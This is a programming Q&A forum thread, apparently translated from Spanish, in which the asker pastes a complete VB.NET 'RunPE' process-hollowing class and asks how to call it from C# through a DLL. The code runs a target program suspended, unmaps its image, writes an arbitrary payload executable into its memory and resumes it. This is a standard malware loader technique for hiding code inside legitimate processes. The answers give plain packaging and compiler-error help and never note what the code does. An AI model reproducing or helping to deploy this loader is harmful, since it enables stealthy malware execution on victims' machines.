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Sergio Ramos
Asked: 2020-06-08 13:27:10 +0800 CST 2020-06-08 13:27:10 +0800 CST

How to use vb.net code in C# using a library

  • 772

The question is how can I use the following code:

Class MenaPE

        '------------------------------
        'Title: MenaPE (RunPE Class)
        'Author: Menalix
        'Website: Menalix.com
        'Notice: For teaching purposes
        '------------------------------

    #Region "Static API Calls"

        Declare Function LoadLibraryA Lib "kernel32" (ByVal Name As String) As IntPtr
        Declare Function GetProcAddress Lib "kernel32" (ByVal hProcess As IntPtr, ByVal Name As String) As IntPtr
    #End Region

    #Region "Dynamic API Caller"

        Private Function CreateApi(Of T)(ByVal Name As String, ByVal Method As String) As T
            Return DirectCast(DirectCast(Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), GetType(T)), Object), T)
        End Function

    #End Region

    #Region "Dynamic API's"

        Private Delegate Function ReadProcessMemoryParameters(ByVal hProcess As UInteger, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As Integer, ByVal nSize As IntPtr, ByRef lpNumberOfBytesWritten As IntPtr) As Boolean
        ReadOnly ReadProcessMemory As ReadProcessMemoryParameters = CreateApi(Of ReadProcessMemoryParameters)("kernel32", "ReadProcessMemory")

        Private Delegate Function CreateProcessParameters( _
        ByVal ApplicationName As String, _
        ByVal CommandLine As String, _
        ByVal ProcessAttributes As IntPtr, _
        ByVal ThreadAttributes As IntPtr, _
        ByVal InheritHandles As Boolean, _
        ByVal CreationFlags As UInteger, _
        ByVal Environment As IntPtr, _
        ByVal CurrentDirectory As String, _
        ByRef StartupInfo As STARTUPINFO, _
        ByRef ProcessInformation As PROCESS_INFORMATION) As Boolean
        Dim CreateProcess As CreateProcessParameters = CreateApi(Of CreateProcessParameters)("kernel32", "CreateProcessA")

        Private Delegate Function NtQueryInformationProcessParameters(ByVal hProcess As IntPtr, _
        ByVal ProcessInformationClass As Integer, _
        ByRef ProcessInformation As PROCESS_BASIC_INFORMATION, _
        ByVal ProcessInformationLength As UInteger, _
        ByRef ReturnLength As UIntPtr) As UInteger
        ReadOnly NtQueryInformationProcess As NtQueryInformationProcessParameters = CreateApi(Of NtQueryInformationProcessParameters)("ntdll", "NtQueryInformationProcess")

        Private Delegate Function GetThreadContext64Parameters( _
        ByVal hThread As IntPtr, _
        ByRef lpContext As CONTEXT32) As Boolean
        Dim GetThreadContext64 As GetThreadContext64Parameters = Nothing

        Private Delegate Function IsWow64ProcessParameters( _
        ByVal hProcess As IntPtr, _
        ByRef Wow64Process As Boolean) As Boolean
        ReadOnly IsWow64Process As IsWow64ProcessParameters = CreateApi(Of IsWow64ProcessParameters)("kernel32", "IsWow64Process")

        Private Delegate Function WriteProcessMemoryParameters( _
        ByVal hProcess As IntPtr, _
        ByVal lpBaseAddress As IntPtr, _
        ByVal lpBuffer As Byte(), _
        ByVal nSize As UInteger, _
        ByRef lpNumberOfBytesWritten As UInteger) As Boolean
        ReadOnly WriteProcessMemory As WriteProcessMemoryParameters = CreateApi(Of WriteProcessMemoryParameters)("kernel32", "WriteProcessMemory")

        Private Delegate Function NtUnmapViewOfSectionParameters( _
        ByVal hProcess As IntPtr, _
        ByVal pBaseAddress As IntPtr) As UInteger
        ReadOnly NtUnmapViewOfSection As NtUnmapViewOfSectionParameters = CreateApi(Of NtUnmapViewOfSectionParameters)("ntdll", "NtUnmapViewOfSection")

        Private Delegate Function VirtualAllocExParameters( _
        ByVal hProcess As IntPtr, _
        ByVal lpAddress As IntPtr, _
        ByVal dwSize As UInteger, _
        ByVal flAllocationType As UInteger, _
        ByVal flProtect As UInteger) As IntPtr
        ReadOnly VirtualAllocEx As VirtualAllocExParameters = CreateApi(Of VirtualAllocExParameters)("kernel32", "VirtualAllocEx")

        Private Delegate Function ResumeThreadParameters( _
        ByVal hThread As IntPtr) As UInteger
        ReadOnly ResumeThread As ResumeThreadParameters = CreateApi(Of ResumeThreadParameters)("kernel32", "ResumeThread")

    #End Region

    #Region "API Structures"
        Private Structure PROCESS_INFORMATION
            Public hProcess As IntPtr
            Public hThread As IntPtr
            Public dwProcessId As UInteger
            Public dwThreadId As UInteger
        End Structure
        Private Structure STARTUPINFO
            Public cb As UInteger
            Public lpReserved As String
            Public lpDesktop As String
            Public lpTitle As String
            <Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=36)> _
            Public Misc As Byte()
            Public lpReserved2 As Byte
            Public hStdInput As IntPtr
            Public hStdOutput As IntPtr
            Public hStdError As IntPtr
        End Structure
        Structure FLOATING_SAVE_AREA
            Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
            <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
            Dim State As UInteger
        End Structure
        Structure CONTEXT32
            Dim ContextFlags, Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 As UInteger
            Dim FloatSave As FLOATING_SAVE_AREA
            Dim SegGs, SegFs, SegEs, SegDs, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SegCs, EFlags, Esp, SegSs As UInteger
            <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=512)> Dim ExtendedRegisters As Byte()
        End Structure
        Structure PROCESS_BASIC_INFORMATION
            Public ExitStatus As IntPtr
            Public PebBaseAddress As IntPtr
            Public AffinityMask As IntPtr
            Public BasePriority As IntPtr
            Public UniqueProcessID As IntPtr
            Public InheritedFromUniqueProcessId As IntPtr
        End Structure
    #End Region

    #Region "Injection"

        Public Function Run(ByVal path As String, ByVal payload As Byte(), ByVal creationflag As Integer) As Boolean
            For I As Integer = 1 To 5
                If HandleRun(path, payload, creationflag) Then Return True
            Next
            Return False
        End Function

        Private Function HandleRun(ByVal Path As String, ByVal payload As Byte(), ByVal creationflag As Integer) As Boolean
            Dim ReadWrite As Integer = Nothing
            Dim QuotedPath As String = String.Format("""{0}""", Path)

            Dim SI As New STARTUPINFO
            Dim PI As New PROCESS_INFORMATION

            SI.cb = CUInt(Runtime.InteropServices.Marshal.SizeOf(GetType(STARTUPINFO))) 'Parses the size of the structure to the structure, so it retrieves the right size of data

            Try
                'COMMENT: Creating a target process in suspended state, which makes it patch ready and we also retrieves its process information and startup information.
                If Not CreateProcess(Path, QuotedPath, IntPtr.Zero, IntPtr.Zero, True, creationflag, IntPtr.Zero, IO.Directory.GetCurrentDirectory, SI, PI) Then Throw New Exception()

                'COMMENT: Defines some variables we need in the next process
                Dim ProccessInfo As New PROCESS_BASIC_INFORMATION
                Dim RetLength As UInteger
                Dim Context = Nothing
                Dim PEBAddress32 As Integer = Nothing
                Dim PEBAddress64 As Int64 = Nothing
                Dim TargetIs64 As Boolean = Nothing
                Dim IsWow64Proc As Boolean = False

                IsWow64Process(PI.hProcess, IsWow64Proc) 'COMMENT: Retrieves Boolean to know if target process is a 32bit process running in 32bit system, or a 32bit process running under WOW64 in a 64bit system.
                If IsWow64Proc Or IntPtr.Size = 4 Then 'COMMENT: Checks the Boolean retrieved from before OR checks if our calling process is 32bit
                    Context = New CONTEXT32
                    Context.ContextFlags = &H1000002L 'COMMENT: Parses the context flag CONTEXT_AMD64(&H00100000L) + CONTEXT_INTEGER(0x00000002L) to tell that we want a structure of a 32bit process running under WOW64, you can see all context flags in winnt.h header file.
                    If IsWow64Proc AndAlso IntPtr.Size = 8 Then 'COMMENT: Checks if our own process is 64bit and the target process is 32bit in wow64
                        GetThreadContext64 = CreateApi(Of GetThreadContext64Parameters)("kernel32", "Wow64GetThreadContext") 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
                        If Not GetThreadContext64(PI.hThread, Context) Then Throw New Exception
                        Console.WriteLine(Context.Ebx)
                        PEBAddress32 = Context.Ebx
                        TargetIs64 = False
                    Else 'COMMENT: If our process is 32bit and the target process is 32bit we get here. 
                        NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
                        PEBAddress32 = ProccessInfo.PebBaseAddress
                        TargetIs64 = False
                    End If
                Else 'COMMENT: If our process is 64bit and the target process is 64bit we get here. 
                    NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
                    PEBAddress64 = ProccessInfo.PebBaseAddress
                    TargetIs64 = True
                End If


                Dim BaseAddress As IntPtr
                If TargetIs64 = True Then
                    ReadProcessMemory(PI.hProcess, PEBAddress64 + &H10, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 64bit Process, which is where the exe data starts
                Else
                    ReadProcessMemory(PI.hProcess, PEBAddress32 + &H8, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
                End If

                Dim PayloadIs64 As Boolean = False
                Dim dwPEHeaderAddress As Integer = BitConverter.ToInt32(payload, &H3C) 'COMMENT: Gets the PEHeader start address
                Dim dwNetDirFlags As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H398) 'COMMENT: Gets the .NET Header Flags value to determine if its a AnyCPU Compiled exe or not
                Dim wMachine As Integer = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H4) 'COMMENT: Gets the reads the Machine value

                If wMachine = 8664 Then : PayloadIs64 = True 'Checks the Machine value to know if payload is 64bit or not"
                Else : PayloadIs64 = False : End If

                If PayloadIs64 = False Then
                    If dwNetDirFlags = &H3 Then 'To make sure we don't rewrite flags on a Payload which is already AnyCPU Compiled, it will only slow us down
                        Buffer.SetByte(payload, dwPEHeaderAddress + &H398, &H1) 'Replaces the .NET Header Flag on a 32bit compiled payload, to make it possible doing 32bit -> 64bit injection
                    End If
                End If

                Dim dwImageBase As Integer
                If PayloadIs64 = True Then
                    dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H30) 'Reads the ImageBase value of a 64bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual addressstart location for our exe in its own memory space
                Else
                    dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H34) 'Reads the ImageBase value of a 32bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual address start location for our exe in its own memory space
                End If

                If dwImageBase = BaseAddress Then 'COMMENT: If the BaseAddress of our Exe is matching the ImageBase, it's because it's mapped and we have to unmap it
                    If Not NtUnmapViewOfSection(PI.hProcess, BaseAddress) = 0 Then Throw New Exception() 'COMMENT: Unmapping it
                End If

                Dim dwSizeOfImage As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H50)
                Dim dwNewImageBase As Integer = VirtualAllocEx(PI.hProcess, dwImageBase, dwSizeOfImage, &H3000, &H40) 'COMMENT: Makes the process ready to write in by specifying how much space we need to do it and where we need it
                If dwNewImageBase = 0 Then Throw New Exception()

                Dim dwSizeOfHeaders As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H54)
                If Not WriteProcessMemory(PI.hProcess, dwNewImageBase, payload, dwSizeOfHeaders, ReadWrite) Then Throw New Exception() 'Writes the size of the payloads PE header to the target

                'COMMENT: This is here where most of the magic happens. We write in all our sections data, which contains our resssources, code and the information to utilize the sections: VirtualAddress, SizeOfRawData and PointerToRawData
                Dim SizeOfOptionalHeader As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H14)
                Dim SectionOffset As Integer = dwPEHeaderAddress + (&H16 + SizeOfOptionalHeader + &H2)
                Dim NumberOfSections As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H6)
                For I As Integer = 0 To NumberOfSections - 1
                    Dim VirtualAddress As Integer = BitConverter.ToInt32(payload, SectionOffset + &HC)
                    Dim SizeOfRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H10)
                    Dim PointerToRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H14)
                    If Not SizeOfRawData = 0 Then
                        Dim SectionData(SizeOfRawData - 1) As Byte
                        Buffer.BlockCopy(payload, PointerToRawData, SectionData, 0, SectionData.Length)
                        If Not WriteProcessMemory(PI.hProcess, dwNewImageBase + VirtualAddress, SectionData, SectionData.Length, ReadWrite) Then Throw New Exception()
                    End If
                    SectionOffset += &H28
                Next

                Dim PointerData As Byte() = BitConverter.GetBytes(dwNewImageBase)
                If TargetIs64 = True Then
                    If Not WriteProcessMemory(PI.hProcess, PEBAddress64 + &H10, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new etrypoint for 64bit target
                Else
                    If Not WriteProcessMemory(PI.hProcess, PEBAddress32 + &H8, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new entrypoint for 32bit target
                End If
                If ResumeThread(PI.hThread) = -1 Then Throw New Exception() 'Resumes the suspended target with all its new exciting data

            Catch ex As Exception
                Dim P As Process = Process.GetProcessById(CInt(PI.dwProcessId))
                If P IsNot Nothing Then P.Kill()
                Return False
            End Try

            Return True
        End Function
    #End Region

    End Class

What would I have to put to use it in a library or dll, or do I just have to put the class, generate the dll and make the call to my class? Thank you?

I tried this way but it didn't work: enter image description here

enter image description here

c#

3 Answers

  1. You can follow these steps:

    1. Create a new project in Visual Studio.
    2. Choose the language (C# or VB.Net, in your case VB.Net).
    3. Choose the type of project "Class Library" (Class Library).
    4. There create your class and put your code
    5. Compile the project and it will generate adll

    Now dllyou are going to reference that in your other project to be able to access its methods and functions. Here you can see a more detailed tutorial on how to do it.

    • 2
  2. Best Answer

    Why can't you use your class as it is in your static method? what prevents you? Let's see, first obviously the class must be public, which I think you've already done:

    Public Class MenaPE

    after recompiling, from your C# application (it doesn't matter if it's a static method or not) simply do:

    MenaPE.MenaPE mena = new MenaPE.MenaPE();
mena.Run(tusargumentos);

    To call a non-static method, you must first create an instance of the class, and then call the method.

    If you want the vb.net class to be static, what you should do is instead of using a class ( Class) use a Module ( Module):

    Public Module MenaPE

    And then you could already use it like:

    MenaPE.MenaPE.Run(....
    • 0

  3. According to what I can assimilate with the question (which is not very descriptive in the error) and your comments, these are the conclusions I can draw:

    Error CS0120: The official documentation says that this error occurs when you try to access a field, property or method statically when in fact it is not.

    Example:

    public class Clase{
 public void Hola() { Console.Write("Hola"); }
}

public class Program
{
 public static void Main()
 {
    Clase.Hola(); // error, el metodo hola no es estatico.
    new Clase().Hola(); // ahora si funciona, porque estamos creando una instancia
 }

    }

    Error CS0118: According to the documentation in English (I didn't find it in Spanish) you are using a namespace as a class . As far as I can tell, your project has the same name as the class you need.

    Example:

    namespace EjemploNameSpace
{
 public class EjemploNameSpace
 {
   void Saludar() { Console.Write("Hola como estas"); }
 }
}

public class Program
{
 public static void Main()
 {
   EjemploNameSpace.Saludar();// error, hola es un namespace, no una clase.
   EjemploNameSpace.EjemploNameSpace.Saludar(); // error, el metodo saludar no es estatico
   new EjemploNameSpace.EjemploNameSpace().Saludar(); // Ahora si, estas creadno una instancia y dentro del namespace EjemploNameSpace, estamos accediendo a la clase EjemploNameSpacecon el metodo Saludar() por medio a la instancia.
 }
}

    Note: The examples are in C# because I don't know Visual Basic but the errors at the end are the same.

    • 0